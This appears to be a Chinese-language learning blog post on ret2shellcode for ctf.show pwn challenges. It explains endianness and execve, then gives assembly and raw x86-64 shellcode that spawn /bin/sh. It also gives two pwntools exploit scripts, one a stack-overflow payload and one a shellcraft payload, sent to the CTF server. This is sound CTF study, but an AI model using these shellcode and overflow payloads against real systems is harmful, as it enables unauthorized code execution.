开始正式学习shellcode了!

ret2shellcod

前置基础

大端序与小端序:

大端序和小端序是指计算机存储多字节数据类型(如整数、浮点数等)时字节的排列顺序。

  • 大端序:一个多字节值的最高位字节(即“大端”)存储在最低的内存地址处,其余字节按照大小递减的顺序存储。这种排列方式类似于我们写数字时从最高位到最低位的顺序。

    例如一个16位的二进制数0x1234在大端序存储系统中,它的存储方式如下:

    1
    2
    3
    内存地址  数据
    0x00 0x12
    0x01 0x34
  • 小端序:一个多字节值的最低位字节(即“小端”)存储在最低的内存地址处,其余字节按照大小递增的顺序存储。这种排列方式类似于我们从最低位到最高位读取数字的顺序。

    使用上面相同的16位二进制数0x1234,在小端序存储系统中,它的存储方式如下:

    1
    2
    3
    内存地址  数据
    0x00 0x34
    0x01 0x12

大多数现代个人电脑和服务器使用小端序存储,而某些大型机、网络协议和旧的计算机系统则使用大端序。

系统调用

32位程序执行系统调用获取shell

1
2
3
4
5
6
7
8
9
10
void __noreturn start()
{
int v0; // eax
char v1[10]; // [esp-Ch] [ebp-Ch] BYREF
__int16 v2; // [esp-2h] [ebp-2h]

v2 = 0;
strcpy(v1, "/bin///sh");
v0 = sys_execve(v1, 0, 0);
}

sys_execve 是一个在二进制漏洞利用中常见的ROPgadget,它用于执行系统调用 execve 。 execve 是一个在Unix-like操作系统中用于执行一个新程序的系统调用,其原型如下:

1
int execve(const char *filename, char *const argv[], char *const envp[]);

参数说明:

• filename :要执行的程序的路径。

• argv :传递给新程序的参数列表。

• envp :传递给新程序的环境变量列表。

在示例程序中, sys_execve(v1, 0, 0); 表示调用 execve 系统调用,其中:

• v1 指向要执行的程序路径·/bin/sh

• 第二个参数 0 表示没有传递任何参数给新程序。

• 第三个参数 0 表示没有传递任何环境变量给新程序。

/bin/sh 是一个程序路径,它指向大多数Unix-like系统中的shell程序。这里:

• /bin 是一个存放常用命令的目录。

• sh 是shell程序的文件名。

汇编:

1
2
3
4
5
6
7
8
9
push    0x68 ; 'h'
push 0x732F2F2F `s///`
push 0x6E69622F 'nib/' #因为是小端序所以倒序存放
mov ebx, esp ; file
xor ecx, ecx ; argv
xor edx, edx ; envp
push 0Bh
pop eax
int 80h ; LINUX - sys_execve

实操:

shellcode编写

pwn62

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(log_level='debug',arch='amd64',os = 'Linux')
#io = process("./pwn")

io = remote('pwn.challenge.ctf.show',28179)

io.recvuntil('[')
buf = io.recvuntil(']',drop=True)
buf = int(buf,16)

shellcode = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
payload = b'a'*(0x10+8)+p64(buf+32)+shellcode

io.sendline(payload)

io.interactive()

分析

64位程序,开了PIE程序会给出buf的地址,栈上可读可写可执行。

首先接收buf的地址,read函数规定了输入长度0x38,分配给buf 0x10故存在栈溢出

shellcode的最大长度=0x38-(0x10+8)-8=24bytes故不能用pwntools生成的shellcode(还没学会怎么写)

收集到的24bytes的shellcode:

1
b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

payload目前的理解(还不是很理解):

1
payload = b'a'*(0x10+8)+p64(buf+32)+shellcode

b’a’*(0x10+8)垃圾数据填充到返回地址,因为开了PIE所以地址不确定只能用泄露出的buf地址,buf的后24字节上为leave,leave的作用相当于mov sp,bp; pop bp,会释放栈空间因此不能使用buf后的24字节,v5+24后的8个字节需要存放返回地址故shellcode只能放在buf+32后的位置上

1

pwn64

开了某种保护不代表这条路一定走不通,该题开了nx保护但是main函数中有一个mmap函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]

buf = mmap(0, 1024u, 7, 34, 0, 0);//
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Some different!");
if ( read(0, buf, 1024u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
(buf)();//调用指针buf指向的函数
return 0;
}

buf = mmap(0, 1024u, 7, 34, 0, 0); :调用 mmap 函数来映射 1024 字节的内存。 7 表示映射区域是可读、可写、可执行的( PROT_READ | PROT_WRITE | PROT_EXEC ), 34 可能是 MAP_PRIVATE | MAP_ANONYMOUS 的组合,表示创建一个私有的匿名映射。 0 和 0 分别表示文件描述符和映射的文件偏移量。

故buf指针所指向的内存区域是可执行的我们只需写入shellcode即可,因为最后(buf)();会调用buf指向的函数

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level='debug',arch='i386',os = 'Linux')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28241)

shellcode = asm(shellcraft.sh())
payload = shellcode

io.sendline(payload)

io.interactive()

<待续…>